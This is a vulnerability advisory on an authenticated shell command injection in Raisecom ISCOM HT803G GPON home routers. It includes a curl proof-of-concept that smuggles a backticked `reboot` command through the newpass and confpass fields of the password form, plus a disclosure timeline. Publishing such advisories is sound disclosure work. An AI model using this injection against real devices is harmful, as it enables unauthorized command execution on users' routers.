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Authenticated Shell Command Injection
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. contents:: Table Of Content

Overview
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Title:- Authenticated Shell command Injection
Author: Kaustubh G. Padwad

Vendor: Raisecom technology co.,LTD
Product: GPON-ONU HT803G-07 (could be more who shares the same codebase)

Potentially vulnerable

 ISCOM HT803G-U
 ISCOM HT803G-W
 ISCOM HT803G-1GE
 ISCOM HT803G


Tested Version: : ISCOMHT803G-U_2.0.0_140521_R4.1.47.002
Severity: High--Critical

Advisory ID
============
KSA-Dev-006


About the Product:
==================

The Raisecom GPON optical network terminal (ONT) series provides a flexible mix of residential access services including high speed data, IPTV, voice and CATV services compliant with the ITU-T G.984 standard. In particular, the Raisecom ONUs are designed for Ethernet data services, voice over IP, IPTV, CATV, wireless router accessing and convenient USB2.0 home network storage connections for various application scenarios, such as residential triple-play service and business connections. The GPON ONT series offer flexible choices in terms of downlink types and numbers, such as, GE/FE auto-adapting Ethernet ports, POTS (FXS) interfaces, RF port and WiFi function compliant with IEEE 802.11b/g/n. All GPON FTTX ONUs offer advanced end-to-end management and monitoring functionality, and the GPON series can be managed under the Raisecom NView platform.


Description: 
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An authenticated shell command injection issue has been discovered in  Raisecom ISCOM HT803G-U, HT803G-W, HT803G-1GE, and HT803G GPON products with thefirmware version ISCOMHT803G-U_2.0.0_140521_R4.1.47.002 or below, The values of the newpass and confpass parameters in /bin/WebMGR are used in a system call in the firmware. Because there is no user input validation, this leads to authenticated code execution on the device.

[Additional_information]

The value of newpass and confpass in /bin/WebMGR  parameter is parse to system call in the Firmware  and since their is no user input validation this leads to authenticated code execution on device

Vulnerability Class:
====================
Authenticated Shell Command Injection


Attack Type
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 Local


Impact Code execution
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 true


Attack Vectors
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TO exploit this vulnerability one needs to parse the correct request to the device or they one needs to visit the crafted Page


How to Reproduce: (POC):
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curl -i -s -k  -X 'POST' \
    -H 'Origin: http://192.168.1.1' -H 'Upgrade-Insecure-Requests: 1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36' -H 'Referer: http://192.168.1.1/password.asp' \
    --data-binary $'userMode=0&oldpass=netstat&newpass=`reboot`&confpass=`reboot`&submit-url=%2Fpassword.asp&save=Apply+Changes&csrf_token=current_cCSRF_ToKEN' \
    'http://192.168.1.1/boaform/formPasswordSetup'

Mitigation
==========

This issue is fixed in latest firmware as per vendor.

Disclosure: 
===========
28-NOV-2018 Discoverd the Vulnerability
28-NOV-2018 Reported to vendor 
10-Dec-2018 Recived confirmation from vendor regarding fix
05-JAN-2019 Request for the CVE-ID
04-FEB-2019 CVE Assigned

credits:
========
* Kaustubh Padwad
* Information Security Researcher
* kingkaustubh@me.com
* https://s3curityb3ast.github.io/
* https://twitter.com/s3curityb3ast
* http://breakthesec.com
* https://www.linkedin.com/in/kaustubhpadwad